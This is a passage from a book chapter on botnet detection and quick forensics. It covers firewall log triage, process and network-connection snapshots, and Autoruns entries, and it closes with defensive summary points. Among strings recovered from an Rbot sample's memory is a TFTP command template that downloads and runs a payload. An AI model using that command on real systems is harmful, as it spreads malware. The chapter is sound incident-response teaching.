the\nactual firewall log is a text file. With a little modification you can drop the\ndata into Excel and get some quick-and-dirty answers.\nTable 5.2 Sample Entries from Windows Firewall Log\n#Version: 1.5\n#Software: Microsoft Windows Firewall\n#Time Format: Local\n#Fields: date time action protocol src-ip dst-ip src-port dst-port size\ntcpflags tcpsyn tcpack tcpwin icmptype icmpcode info path\n2006-11-13 18:43:47 DROP UDP 131.252.118.176 255.255.255.255 68 67 328 - - -\n- - - - RECEIVE\n2006-11-13 18:44:24 DROP UDP 131.252.118.4 239.255.255.250 8008 1900 129 - -\n- - - - - RECEIVE\n2006-11-13 18:44:37 OPEN UDP 131.252.116.92 131.252.120.128 1026 53 - - - -\n- - - - -\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n193\n" }, { "page_number": 212, "text": "2006-11-13 18:44:37 OPEN TCP 131.252.116.92 131.252.123.214 2418 135 - - - -\n- - - - -\n2006-11-13 18:44:37 OPEN TCP 131.252.116.92 131.252.123.214 2419 1025 - - -\n- - - - - -\n2006-11-13 18:50:49 OPEN-INBOUND TCP 61.177.180.6 131.252.116.92 3027 3389 -\n- - - - - - - -\n2006-11-13 18:50:52 CLOSE TCP 131.252.116.92 61.177.180.6 3389 3027 - - - -\n- - - - -\n2006-11-13 18:51:15 DROP UDP 131.252.116.176 255.255.255.255 68 67 328 - - -\n- - - - RECEIVE\n2006-11-13 18:51:18 DROP UDP 131.252.116.176 255.255.255.255 68 67 328 - - -\n- - - - RECEIVE\nIf you open the firewall log in Notepad, it will look like Table 5.2. If you\ndelete from the beginning of the file to the colon after the word Fields, the\nremaining text can be opened or copied into an Excel spreadsheet. Use the\nData menu to select the Text to Columns option. In the Text to\nColumns dialog box, select the Delimited option and chose Spaces as the\ndelimiter, then choose Finish. With the data in this format you can begin the\nanalysis.\nWe usually copy the worksheet to another tab, then select the entire\nworksheet and sort by action, src-ip (source IP address), and dst-port (destina-\ntion port). Change the name on this tab to Inbound. Now look for entries\nwith the action type Open-Inbound. For most workstations, this should\noccur rarely, as we have mentioned.These entries will usually represent\nbotnet-related traffic. It could be the botherder remote controlling the bot\nclient. If the payload for the botnet involves file transfers, such as the distribu-\ntion of stolen movies, music, or software, the inbound connections could rep-\nresent customer access to the bot client. In the sample firewall log data in\nTable 5.3, the inbound connection using port 4044 to an external site was an\nFTP connection to the stolen movies, software, and games. Legitimate\ninbound connections might include domain administrators connecting to the\nworkstation for remote administration.You should be able to recognize legiti-\nmate ports and source IP addresses.The ones that are not clearly legitimate\nare candidates for the ports that are used by the botnet. Sometimes you can\ntry connecting to these ports to see what information they reveal. Examining\nother network logs for candidate IP addresses that appear on multiple victims\ncan identify additional infected victims.\nwww.syngress.com\n194\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 213, "text": "Table 5.3 Inbound Connections Sort of the Firewall Log \nDate\nTime\nAction\nProtocol\nSRC-IP\nDST-IP\nSRC-Port\nDST-Port\nSize\nPath\n11/13/2006\n18:50:52\nCLOSE\nTCP\n192.168.116.92\n10.0.180.6\n3389\n3027\n—\n—\n11/13/2006\n18:51:15\nDROP\nUDP\n192.168.116.176\n255.255.255.255\n68\n67\n328\nRECEIVE\n11/13/2006\n18:51:18\nDROP\nUDP\n192.168.116.176\n255.255.255.255\n68\n67\n328\nRECEIVE\n11/13/2006\n18:43:47\nDROP\nUDP\n192.168.118.176\n255.255.255.255\n68\n67\n328\nRECEIVE\n11/13/2006\n18:44:24\nDROP\nUDP\n192.168.118.4\n239.255.255.250\n8008\n1900\n129\nRECEIVE\n11/13/2006\n18:52:49\nOPEN\nTCP\n192.168.116.92\n10.79.200.5\n4819\n21\n—\n—\n11/13/2006\n18:44:37\nOPEN\nUDP\n192.168.116.92\n192.168.150.128\n1026\n53\n—\n—\n11/13/2006\n18:55:40\nOPEN\nTCP\n192.168.116.92\n10.10.115.28\n2531\n80\n—\n—\n11/13/2006\n18:44:37\nOPEN\nTCP\n192.168.116.92\n192.168.153.214\n2418\n135\n—\n—\n11/13/2006\n18:55:45\nOPEN\nUDP\n192.168.116.92\n192.168.117.173\n137\n137\n—\n—\n11/13/2006\n18:56:46\nOPEN\nUDP\n192.168.116.92\n192.168.117.173\n137\n137\n—\n—\n11/13/2006\n18:57:31\nOPEN\nTCP\n192.168.116.92\n192.168.117.251\n2291\n139\n—\n—\n11/13/2006\n18:44:37\nOPEN\nTCP\n192.168.116.92\n192.168.153.214\n2419\n1025\n—\n—\n11/13/2006\n18:50:49\nOPEN-\nTCP\n10.0.180.6\n192.168.116.92\n3027\n3389\n—\n—\nINBOUND\n11/13/2006\n18:50:50\nOPEN-\nTCP\n10.1.11.229\n192.168.116.92\n33944\n4044\n—\n—\nINBOUND\nBotnet Detection: Tools and Techniques • Chapter 5\n195\n" }, { "page_number": 214, "text": "Next, copy the worksheet again to another tab and select the entire work-\nsheet. Use the Data menu item to sort the entire worksheet by action, dst-ip,\nand dst-port. Look for the entries with the action type of Open.These are\ncomputers that the victim’s computer connected to.The connections that\noccur prior to the successful attack are a good indicator of normal behavior.\nWe also keep a list of normal ports and servers for this environment. These\nyou can ignore.These will be ports like 445 to your Windows domain server,\nor port 53 to the DNS server. For the most part, we ignore port 80 traffic\nunless other signs indicate that the bot is using it.Attempts to open connec-\ntions outbound might be the botnet client attempting to communicate with\nits C&C server, attacks against other workstations. One of these will surely be\nthe connection to the C&C server. If an outbound connection to the same IP\naddress shows up on multiple victims, you should check other network logs\nfor any other computers that talk to that same address.\nIn Table 5.4 the connections on port 137 to other workstations indicate\nother infected systems.The port 21 connection to an external site turns out\nto be a connection to a download site containing malicious code.The con-\nnections to internal computers on 192.168.150.x subnet are connections to\nenterprise servers. Once you are confident that you can spot useful data in the\nworkstation firewalls, you can have the firewall logs sent to the central log\nserver using NTSyslog.\nwww.syngress.com\n196\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 215, "text": "Table 5.4 Outbound Firewall Record Sort\nDate\nTime\nAction\nProtocol SRC-IP\nDST-IP\nSRC-Port DST-Port Size\nPath\n11/13/2006\n18:50:52\nCLOSE\nTCP\n192.168.116.92\n10.0.180.6\n3389\n3027\n—\n—\n11/13/2006\n18:44:24\nDROP\nUDP\n192.168.118.4\n239.255.255.250\n8008\n1900\n129\nRECEIVE\n11/13/2006\n18:51:15\nDROP\nUDP\n192.168.116.176\n255.255.255.255\n68\n67\n328\nRECEIVE\n11/13/2006\n18:51:18\nDROP\nUDP\n192.168.116.176\n255.255.255.255\n68\n67\n328\nRECEIVE\n11/13/2006\n18:43:47\nDROP\nUDP\n192.168.118.176\n255.255.255.255\n68\n67\n328\nRECEIVE\n11/13/2006\n18:55:40\nOPEN\nTCP\n192.168.116.92\n10.10.115.28\n2531\n80\n—\n—\n11/13/2006\n18:52:49\nOPEN\nTCP\n192.168.116.92\n10.79.200.5\n4819\n21\n—\n—\n11/13/2006\n18:55:45\nOPEN\nUDP\n192.168.116.92\n192.168.117.173\n137\n137\n—\n—\n11/13/2006\n18:56:46\nOPEN\nUDP\n192.168.116.92\n192.168.117.173\n137\n137\n—\n—\n11/13/2006\n18:57:31\nOPEN\nTCP\n192.168.116.92\n192.168.117.251\n2291\n139\n—\n—\n11/13/2006\n18:44:37\nOPEN\nUDP\n192.168.116.92\n192.168.150.128\n1026\n53\n—\n—\n11/13/2006\n18:44:37\nOPEN\nTCP\n192.168.116.92\n192.168.153.214\n2418\n135\n—\n—\n11/13/2006\n18:44:37\nOPEN\nTCP\n192.168.116.92\n192.168.153.214\n2419\n1025\n—\n—\n11/13/2006\n18:50:49\nOPEN-\nTCP\n10.0.180.6\n192.168.116.92\n3027\n3389\n—\n—\nINBOUND\n11/13/2006\n18:50:50\nOPEN-\nTCP\n10.1.11.229\n192.168.116.92\n33944\n4044\n—\n—\nINBOUND\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n197\n" }, { "page_number": 216, "text": "Another tool you can use to automate your log analysis is Swatch\n(http://swatch.sourceforge.net/), which can handle most kinds of logs, if\nyou’re prepared to spend the time normalizing logs (setting up mechanisms\nfor formatting them so that they can be read by applications other than the\none that created them), training Swatch in what to look for, and organizing\nan appropriate report format. Set priorities for high-risk entry points, and\nthink proactively; the best forensics are done before the incident happens.\nAntivirus Software Logs\nThe AV log files are in different locations, depending on your vendor. Users\nmight also change the locations. In practice we have been using the AV appli-\ncation to locate and save copies of the logs it collects. Be sure at this time to\ndisable the antivirus scanning capabilities. Unless you do so, the AV tool could\ndelete some of your evidence later in the process, when we locate and turn\noff the hide process.Then we’ll spend some time looking at what it reported.\nSometimes the AV tool grabs one of the bot files before the bot has a chance\nto hide. If it did, the AV logs can tell you where the file was located and con-\nsequently where you can find its brothers and sisters.You should locate and\ncopy the Quarantine folder to the memory stick for later analysis.The .ini\nand configuration files of some of these tools have been a good source of\nvaluable information, including C&C server IP addresses, payload manager\nuserids and passwords, the network architecture (which ports are used for\nwhat purpose), and the like. Symantec makes a tool called qextract, available\nfor download on the Symantec site, that will extract the original files from its\nquarantine package.You can send the original files to the CWSandbox\n(described in Chapter 10) to your AV vendor if its software was unable to\nfully identify the virus, or to www.virus.org to be checked by 12 or so\nantivirus packages. Figure 5.7 shows results from a malware scanning of files\nthat were sent to www.virus.org.\nwww.syngress.com\n198\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 217, "text": "Figure 5.7 Results from Virus.org\nNow that you’ve gathered the common system logs, it’s time to take a\nsnapshot of the system using free system utilities from System Internals (now\npart of Microsoft). First we run Process Explorer to see what processes are\nrunning. Once it is up, click the File menu and choose Save. Save the file on\nthe USB memory stick in the folder you made for this system. Name the file\nusing our naming convention, Computer Name yymmdd Procexp files.txt.\nAs Table 5.5 shows, we were able to find explanations for all but one pro-\ncess.Ten rows from the bottom you will see a process called iexplorer.exe. It\nhas no description and no company name. Before we dig any deeper, we\nshould finish taking the snapshot.\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n199\n" }, { "page_number": 218, "text": "Table 5.5 Process Explorer Running Processes\nProcess\nPID\nCPU\nDescription\nCompany Name\nSystem Idle Process\n0\n93.36\nInterrupts\nn/a\n1.56\nHardware Interrupts\nDPCs\nn/a\nDeferred Procedure Calls\nSystem\n4\n0.39\nsmss.exe\n508\nWindows NT \nMicrosoft Corp.\nSession Manager\ncsrss.exe\n620\nClient Server \nMicrosoft Corp.\nRuntime Process\nwinlogon.exe\n884\nWindows NT \nMicrosoft Corp.\nLogon Application\nservices.exe\n944\nServices and \nMicrosoft Corp.\nController app\nsvchost.exe\n1180\nGeneric Host Process Microsoft Corp.\nfor Win32 Services\nwmiprvse.exe\n3400\nWMI\nMicrosoft Corp.\nsvchost.exe\n1252\nGeneric Host Process Microsoft Corp.\nfor Win32 Services\nsvchost.exe\n1312\nGeneric Host Process Microsoft Corp.\nfor Win32 Services\nsvchost.exe\n1364\nGeneric Host Process Microsoft Corp.\nfor Win32 Services\nsvchost.exe\n1408\nGeneric Host Process Microsoft Corp.\nfor Win32 Services\nccSetMgr.exe\n1496\nSymantec Settings \nSymantec Corp.\nManager Service\nccEvtMgr.exe\n1536\nSymantec Event \nSymantec Corp.\nManager Service\nspoolsv.exe\n1812\nSpooler Sub\nMicrosoft Corp.\nSystem App\nmsdtc.exe\n1836\nMS DTCconsole \nMicrosoft Corp.\nprogram\nDefWatch.exe\n224\nVirus Definition \nSymantec Corp.\nDaemon\nsvchost.exe\n304\nGeneric Host Process Microsoft Corp.\nfor Win32 Services\ncvd.exe\n320\nCommvault Systems\nsqlservr.exe\n400\nSQL Server \nMicrosoft Corp.\nWindows NT\nwww.syngress.com\n200\nChapter 5 • Botnet Detection: Tools and Techniques\nContinued\n" }, { "page_number": 219, "text": "Table 5.5 continued Process Explorer Running Processes\nProcess\nPID\nCPU\nDescription\nCompany Name\nsvchost.exe\n488\nGeneric Host Process Microsoft Corp.\nfor Win32 Services\nrshsvc.exe\n600\nRSH Service\nMicrosoft Corp.\nSavRoam.exe\n684\nSAVRoam\nSymantec\nPSXRUN.EXE\n856\nInterix Subsystem \nMicrosoft Corp.\nNonconsole Session \nManager\nzzInterix\n2144\nInterix Utility\nMicrosoft Corp.\nEvMgrC.exe\n976\n1.17\nCommvault Systems\nmssearch.exe\n1328\nMicrosoft PKM \nMicrosoft Corp.\nSearch Service\nmapsvc.exe\n1412\nMapping Server\nMicrosoft Corp.\nService\nsqlagent.exe\n2724\nMicrosoft SQL Server Microsoft Corp.\nAgent\nsvchost.exe\n3196\nGeneric Host Process Microsoft Corp.\nfor Win32 Services\nRtvscan.exe\n2188\nSymantec AntiVirus\nSymantec Corp.\nlsass.exe\n956\nLSA Shell\nMicrosoft Corp.\nPSXSS.EXE\n896\nInterix Subsystem \nMicrosoft Corp.\nServer\ninit\n2156\nInterix Utility\nMicrosoft Corp.\ninetd\n2432\nInterix Utility\nMicrosoft Corp.\niexplorer.exe\n3560\nexplorer.exe\n8564\nWindows Explorer\nMicrosoft Corp.\nccApp.exe\n9208\nSymantec User Session Symantec Corp.\nVPTray.exe\n8636\nSymantec AntiVirus\nSymantec Corp.\nVPC32.exe\n9524\nSymantec AntiVirus\nSymantec Corp.\niexplorer.exe\n6712\nsqlmangr.exe\n9904\nSQL Server Service \nMicrosoft Corp.\nManager\nmmc.exe\n9344\nMicrosoft Man-\nMicrosoft Corp.\nagement Console\nprocexp.exe\n9184\nSysinternals Process \nSysinternals\nExplorer\nTcpview.exe\n8716\n3.52\nTCP/UDP endpoint \nSysinternals\nviewer\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n201\n" }, { "page_number": 220, "text": "The next snapshot,Table 5.6, is for the network connections and was\ntaken using TCPView.\nTable 5.6 Network Connections of a Botnet\n:3616\nTCP\nVictim3:2967\nVictim3:0\nLISTENING\n:3616\nTCP\n127.7.15.36:2967\n127.7.15.36:3440\nCLOSE_WAIT\n:3616\nTCP\n127.7.39.255:2967\n127.7.39.255:2211\nCLOSE_WAIT\n:3616\nTCP\n127.7.39.255:2967\n127.7.39.255:2212\nCLOSE_WAIT\n—————————SNIPPED 100+ entries————————\n:3616\nTCP\n127.245.24.200:2967\n127.245.24.200:2655\nCLOSE_WAIT\n:3616\nTCP\n127.246.198.40:2967\n127.246.198.40:2649\nCLOSE_WAIT\n:3616\nTCP\n127.246.198.40:2967\n127.246.198.40:2647\nCLOSE_WAIT\n:3680\nTCP\nVictim3:8592\nVictim3:0\nLISTENING\ncvd.exe:320\nTCP\nVictim3:1040\nVictim3:0\nLISTENING\ncvd.exe:320\nTCP\nVictim3:cvd\nVictim3:0\nLISTENING\ncvd.exe:320\nTCP\nVictim3:4099\nlocalhost:EvMgrC\nESTAB-\nLISHED\nEvMgrC.exe:976\nTCP\nVictim3:EvMgrC\nVictim3:0\nLISTENING\nEvMgrC.exe:976\nTCP\nVictim3:EvMgrC\nESTABLISHED\niexplorer.exe:3560\nTCP\nVictim3:20462\nVictim3:0\nLISTENING\niexplorer.exe:3560\nUDP\nVictim3:tftp\n*:*\nlsass.exe:956\nTCP\nVictim3:1057\nVictim3:0\nLISTENING\nlsass.exe:956\nUDP\nVictim3:isakmp\n*:*\nlsass.exe:956\nUDP\nVictim3:4500\n*:*\nlsass.exe:956\nUDP\nVictim3:1027\n*:*\nmapsvc.exe:1412\nTCP\nVictim3:740\nVictim3:0\nLISTENING\nmapsvc.exe:1412\nTCP\nVictim3:742\nVictim3:0\nLISTENING\nmapsvc.exe:1412\nUDP\nVictim3:743\n*:*\nmapsvc.exe:1412\nUDP\nVictim3:741\n*:*\nPSXSS.EXE:896\nUDP\nVictim3:649\n*:*\nrshsvc.exe:600\nTCP\nVictim3:cmd\nVictim3:0\nLISTENING\nsqlservr.exe:400\nTCP\nVictim3:ms-sql-s\nVictim3:0\nLISTENING\nsqlservr.exe:400\nUDP\nVictim3:ms-sql-m\n*:*\nwww.syngress.com\n202\nChapter 5 • Botnet Detection: Tools and Techniques\nContinued\n" }, { "page_number": 221, "text": "Table 5.6 continued Network Connections of a Botnet\nsvchost.exe:1252\nTCP\nVictim3:epmap\nVictim3:0\nLISTENING\nsvchost.exe:1312\nUDP\nVictim3:1026\n*:*\nsvchost.exe:1312\nUDP\nVictim3:1025\n*:*\nsvchost.exe:1364\nUDP\nVictim3:ntp\n*:*\nsvchost.exe:3196\nTCP\nVictim3:3389\nVictim3:0\nLISTENING\nSystem:4\nTCP\nVictim3:sunrpc\nVictim3:0\nLISTENING\nSystem:4\nTCP\nVictim3:microsoft-ds\nVictim3:0\nLISTENING\nSystem:4\nUDP\nVictim3:sunrpc\n*:*\nSystem:4\nUDP\nVictim3:microsoft-ds\n*:*\nwinlogon.exe:884\nUDP\nVictim3:1061\n*:*\nThe first 100+ entries appear to be related to the Big Yellow Worm\nexploit. Port 2967 is the port exploited by this worm.The 127.x.x.x addresses\nlisted are all considered loopback addresses, not external addresses.You will\nalso notice that the source and destination addresses are identical.Although\nwe’re not intimately familiar with the exploit, we assume that this behavior\nhas something to do with the exploit. Near the middle of the list you can\nfind iexplorer.exe, which is listening on ports 20462 and on the TFTP port.\nYou can use the list of ports that you determine are associated with the mal-\nware again when you perform firewall log analysis.Any traffic on one of these\nports means that the associated IP address is somehow related to the botnet.\nOther odd ports turn out to be the result of an administrator that was\nmore comfortable with UNIX than with PCs. He loaded an application that\nlet him use UNIX commands instead of PCs. He did not know that it\nopened up dangerous ports like rshell (rshsvc.exe) as well.\nNext we use the System Internals tool Autoruns to gather the list of\napplications that are started automatically on startup, logon, or logoff.This\nreport is quite lengthy, so we’ll only look at the snippet containing the known\nmalware that we found in Process Explorer and TCPView (see Table 5.7).\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n203\n" }, { "page_number": 222, "text": "Table 5.7 Autoruns Snippet Showing Malware Entry\nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\n+ ccApp\nSymantec User Session\nSymantec Corporation c:\\program\nfiles\\common files\\symantec shared\\ccapp.exe\n+ Microsoft\nc:\\windows\\system32\\iexplorer.exe\n+ vptray\nSymantec AntiVirus\nSymantec Corporation c:\\program\nfiles\\symantec antivirus\\vptray.exe\nNext we will get a directory list of the hard drive. Once the quick\nforensic is completed, the hard drive will be reimaged so there won’t be an\nopportunity to go back and look at the system again. For the directory listing\nwe bring up a command line (Start | Run | cmd) and change the direc-\ntory to the root directory. We will gather two sets of directory listings, a\nnormal listing and a listing of hidden, system, and read-only files and folders:\nC:\\> dir /s >\"e:\\VICTIM3 061227\\VICTIM3 061227 normal Directory listing.txt\"\nC:\\> dir /s /ah /as /ar >\"e:\\VICTIM3 061227\\VICTIM3 061227 hidden system\nreadonly Directory listing.txt\"\nThis completes the snapshot of the victim’s system.\nNext we’ll try to find files that are associated with the malware. In the\nprevious steps we noted the dates and times of activity known to be related to\nthe malware. Now we can use the search function to locate files that were\nmodified around the same time as the malware was active.This is an inexact\nscience and is usually performed by someone else, so we prefer the gatherer\nto be inclusive rather than exclusive. In other words, we want to gather the\nfiles unless there is little chance they can be related to the malware.The\nreason we do this is that we have found some of our most valuable informa-\ntion in the files we gather at this step.\nOne of the key files to look for is drwtsn32.log.This is the log that Dr.\nWatson produces whenever an application fails. Malware has a pretty good\nchance of causing a failure in a new system with an atypical configuration.\nDr. Watson grabs a snapshot of the system’s memory at the time of the failure.\nIn this snapshot we have found lists of systems successfully compromised,\nalong with the associated userids and passwords. In the instance of Rbot we\nwere chasing, the botherder used many batch files.These revealed the loca-\ntions of malware-related executables. One of the batch files was used by the\nwww.syngress.com\n204\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 223, "text": "botherder to locate where he had put the components of his malware.This\nproved useful on all subsequent searches.As we have mentioned a few times,\nthe .ini files provided intelligence data about ports and IP addresses to watch.\nIn the process explorer results we noted an application running called iex-\nplorer.exe. Using the strings tab in process explorer, we can look at the image\nof the process on the hard drive or in memory. Rbot uses packaging to\nencrypt/encode itself on the hard drive so that the image on the hard drive\ndoesn’t yield much. However, when the process executes, it must unpack\nitself.The strings tab in memory is a goldmine.Table 5.8 shows some infor-\nmation extracted from the strings in memory.\nTable 5.8 Strings in Memory Sample 1\ntftp -i %s get %s& start %s& exit\n-[ModBot]-\nSkonk-[ModBot]-Small-V0.4\niexplorer.exe\nsysconfig.dat\nMicrosoft\nSoftware\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\nSoftware\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\nSoftware\\\\Microsoft\\\\OLE\nSoftware\\\\ASProtect\nbong\n#sym\n#sym\n#sym\n12 120|MoD\n12 ScAnAgE\n12 RoOtAgE\nsnake@10.100.25.201\nIme A F*ck U Bot-And Ime Here To F*ck U Up\nD CKFDENECFDEFFCFGEFFCCACACACACACA\nEKEDFEEIEDCACACACACACACACACACAAA\nIf there was any doubt before, the line 3 from the bottom should be con-\nvincing evidence for even the biggest skeptic.This is definitely a bot. Now\nlet’s look at a second example (see Table 5.9).\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n205\n" }, { "page_number": 224, "text": "Table 5.9 Strings in Memory Sample 2\nServer started on Port: 0, File: C:\\WINDOWS\\system32\\iexplorer.exe, Request:\niexplorer.exe.\nIP: 192.168.5.125:139, Scan thread: 1, Sub-thread: 1.\nIP: 192.168.169.101:139, Scan thread: 1, Sub-thread: 2\nIP: 192.168.221.197:139, Scan thread: 1, Sub-thread: 3.\nIP: 192.168.174.2:139, Scan thread: 1, Sub-thread: 4.\nIP: 192.168.225.65:139, Scan thread: 1, Sub-thread: 5.\nIP: 192.168.245.108:139, Scan thread: 1, Sub-thread: 6.\nThe bot has begun to scan the class B network for a system with port 139\nopen.The bot connected to an IRC channel #sym. 10.201.209.5 is likely the\nC&C server (see Table 5.10).\nTable 5.10 Memory Strings Sample: An IRC Connection\n[12-25-2006 06:42:24] Joined channel: #sym\n[12-25-2006 06:42:24] Joined channel: #sym\n[12-25-2006 06:42:24] Joined channel: #sym\n[12-25-2006 06:42:12] Connected to 10.201.209.5\nAfter collecting and analyzing the data from these quick forensics, we\nwere able to identify a directory structure that was present on the majority of\nthe infected systems we examined.The base location of the directory struc-\nture changed, but it was always present somewhere, whether in the Recycle\nfolder, the Java\\Trustlib folder, or elsewhere (see Figure 5.8). When doing the\nquick forensic we also check for these folders that we have seen before.\nIf you are in an enterprise and you use a remote management tool like\nLanDesk Manager or Altiris, you can create a job to run on all managed sys-\ntems to look for other infected systems by identifying all computers that have\nthis unique directory.\nwww.syngress.com\n206\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 225, "text": "Figure 5.8 Botnet Payload Hidden Directory\nTIP\nSome forensic resources:\nDave Dagon presentation on botnet detection and response:\nwww.caida.org/workshops/dns-oarc/200507/slides/oarc0507-Dagon.pdf\nEncase (Guidance Software): www.guidancesoftware.com/prod-\nucts/ef_index.asp\nFilesig Manager, Simple Carver: www.filesig.co.uk\nForensic Toolkit: www.accessdata.com\nHigh Technology Crime Investigation Association: www.htcia.org\nProDiscover for Windows: www.techpathways.com\nPStools:\nwww.microsoft.com/technet/sysinternals/utilities/pstools.mspx\nThe Coroner’s Toolkit: www.porcupine.org/forensics/tct.html\nWinHex: www.x-ways.com\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n207\n" }, { "page_number": 226, "text": "Summary\nBot technology is a complex and fast-moving area. Botherders have an intense\ninterest in keeping the systems they control below the system owner’s radar\nand have developed sophisticated mechanisms for doing so.A site adminis-\ntrator is likely to have, or at least has considered having, some or all of the\ntools we’ve discussed in this chapter. Is there any site of any significant size\nnowadays that doesn’t have antivirus software or a firewall? The trick, though,\nis to make the best use of these tools for proactive and reactive detection as a\nbasis for an optimized security posture and sound incident handling.\nWhat lessons can we draw from the previous sections? First, take advan-\ntage of external notifications. Even if a proportion of them are sent to you in\nerror by an inexperienced administrator or poorly configured automatic alert\nsystem, there could be a lesson that you, or the remote site, can learn.\nSimilarly, monitoring network traffic is not just a matter of ensuring a healthy\nflow, but it requires having an early warning security system that supplements\nyour firewall and IDS measures. No single measure guarantees detection of\nbot activity, but good monitoring of multilayered defenses will contribute\nimmensely to keeping the botherder from your door.\nSolutions Fast Track\nAbuse\n\u0002 An abuse e-mail list can help you learn about malware at your own\nsite.\n\u0002 The global registry WHOIS mechanism can help you learn who to\ncontact at other sites.\n\u0002 Spam from your site can cause your site to be blacklisted.\n\u0002 Be wary of open proxies in general, and note that they can be the\nside effect of a malware infection.\nwww.syngress.com\n208\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 227, "text": "Network Infrastructure:Tools and Techniques\n\u0002 Switches can have port-mirroring features to allow you to send\npackets to a sniffer.\n\u0002 A hub can be a “low-rez” solution if you want to do sniffing when\npacket counts are low.\n\u0002 Tcpdump and Wireshark are open-source sniffers.\n\u0002 If you find a bot client with a sniffer, remember to also watch any\nsuspicious external hosts talking to the bot client. Such a host could\nbe a bot server, and you might see it connecting to other local hosts.\n\u0002 SNMP using RRDTOOL graphics can be very useful for seeing\nDoS attacks via graphics.\n\u0002 SNMP on all switch ports could help you trace down an interior\nDoS attack through a switch hierarchy, especially if a fake IP source\naddress is being used or other monitoring gear has been knocked\noffline due to the DoS attack.\n\u0002 Netflow tools include open-source tools like flow-tools and Silktools.\n\u0002 Netflow data is more compact than packets and can give you a log of\nrecent network activity.\n\u0002 Stored netflow data can be useful for searching when you have an\nexplicit search target such as a suspicious IP address.\n\u0002 Netflow can be used to see DoS attacks and scanning as well as more\nconventional traffic monitoring.\n\u0002 Firewall ACLs can alert you to hosts on the inside that have been\nhacked via their logs.\n\u0002 Firewalls should block port 25 for hosts using DHCP.Those hosts\nshould send e-mail to a local mail server (which could filter the e-\nmail for viruses).This helps reduce the incidents of malware sending\nspam outward from the enterprise.\n\u0002 Firewalls should minimally block Microsoft File Share ports such as\n135-139 and 445 as well as SQL ports 1433 and 1434.\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n209\n" }, { "page_number": 228, "text": "\u0002 Layer 2 could suffer various forms of attack, including ARP spoofing,\nwhich can lead to MITM attacks.\n\u0002 Layer 2 can suffer from switch forwarding table overflow attacks,\nwhich can lead to password-guessing attacks.\n\u0002 Layer 2 could suffer from fake DHCP servers, which can lead to\nMITM attacks.\n\u0002 Layer 2 switch features can include various security measures such as\nport security, DHCP snooping, IP Source Guard, and dynamic ARP\ninspection, especially on recent Cisco switches.\n\u0002 The number of hosts in a broadcast domain should be limited to\nprevent fan-out attacks.\n\u0002 The routing table ARP timeout time and switch forwarding table\ntimeout might be set to be the same time.This helps if a hacker’s\ntoolkit has installed a password sniffer, since it improves the odds that\nthey will not see anything useful.\nIntrusion Detection\n\u0002 Intrusion detection systems (IDSes) are either host or network based.\nA NIDS should focus on local and outgoing traffic flows as well as\nincoming Internet traffic, whereas a HIDS can pick up symptoms of\nbot activity at a local level that can’t be seen over the network.\n\u0002 At either level, an IDS can focus on either anomaly detection or\nsignature detection, though some are more or less hybrid.\n\u0002 IDS is important, but it should be considered part of an Internet\nprevention system strategy, whether it’s part of a full-blown\ncommercial system or one element of a multilayered defense.\n\u0002 Virus detection is, or should be, an understatement: It should sit at all\nlevels of the network, from the perimeter to the desktop, and include\npreventative and recovery controls, not just detection.\n\u0002 Antivirus is capable of detecting a great deal more than simple viruses\nand is not reliant on simple detection of static strings. Scanners can\nwww.syngress.com\n210\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 229, "text": "detect known malware with a very high degree of accuracy and can\ncope with a surprisingly high percentage of unknown malware, using\nheuristic analysis.\n\u0002 However, bots are capable of not only sophisticated evasion\ntechniques but present dissemination-related difficulties that aren’t\nsusceptible to straightforward technical solutions at the code analysis\nlevel.\n\u0002 There is a place for open-source antivirus as a supplement to\ncommercial solutions, but it’s not a direct replacement; it can’t cover\nthe same range of threats (especially older threats), even without\nconsidering support issues.\n\u0002 Snort is a signature-based NIDS with a sophisticated approach to rule\nsets, in addition to its capabilities as a packet sniffer and logger.\n\u0002 As well as writing your own Snort signatures, you can tap into a rich\nvein of signatures published by a huge group of Snort enthusiasts in\nthe security community.\n\u0002 The flexibility of the signature facility is illustrated by four example\nsignatures, one of which could almost be described as adding a\ndegree of anomaly detection to the rule set.\n\u0002 Tripwire is an integrity management tool that uses a database of file\nsignatures (message digests or checksums, not attack signatures) to\ndetect suspicious changes to files.\n\u0002 The database can be kept more secure by keeping it on read-only\nmedia and using MD5 or snefru message digests.\n\u0002 The open-source version of Tripwire is limited in the platforms it\ncovers. If the devices you want to protect are all POSIX compliant\nand you’re not bothered about value-adds like support and\nenterprise-level management, and if you’re happy to do some DIY, it\nmight do very well.\n\u0002 Ken Thompson’s “Reflections on Trusting Trust” makes the point that\nyou can’t have absolute trust in any code you didn’t build from\nscratch yourself, including your compiler.This represents a weakness\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n211\n" }, { "page_number": 230, "text": "in an application that relies for its effectiveness on being installed to\nan absolutely clean environment.\nDarknets, Honeypots, and Other Snares\n\u0002 A darknet (or network telescope, or black hole) is an IP space that\ncontains no active hosts and therefore no legitimate traffic.Any traffic\nthat does find its way in is due to either misconfiguration or attack.\nIntrusion detection systems in that environment can therefore be\nused to collect attack data.\n\u0002 A honeypot is a decoy system set up to attract attackers.A low-\ninteraction honeypot can collect less information than a high-\ninteraction honeypot, which is open (or appears to be open) to\ncompromise and exploitation.\n\u0002 A honeynet consists of a number of high-interaction honeypots in a\nnetwork, monitored transparently by a honeywall.\nForensics Techniques and Tools for Botnet Detection\n\u0002 The field of digital forensics is concerned with the application of\nscientific methodology to gathering and presenting evidence from\ndigital sources to investigate criminal or unauthorized 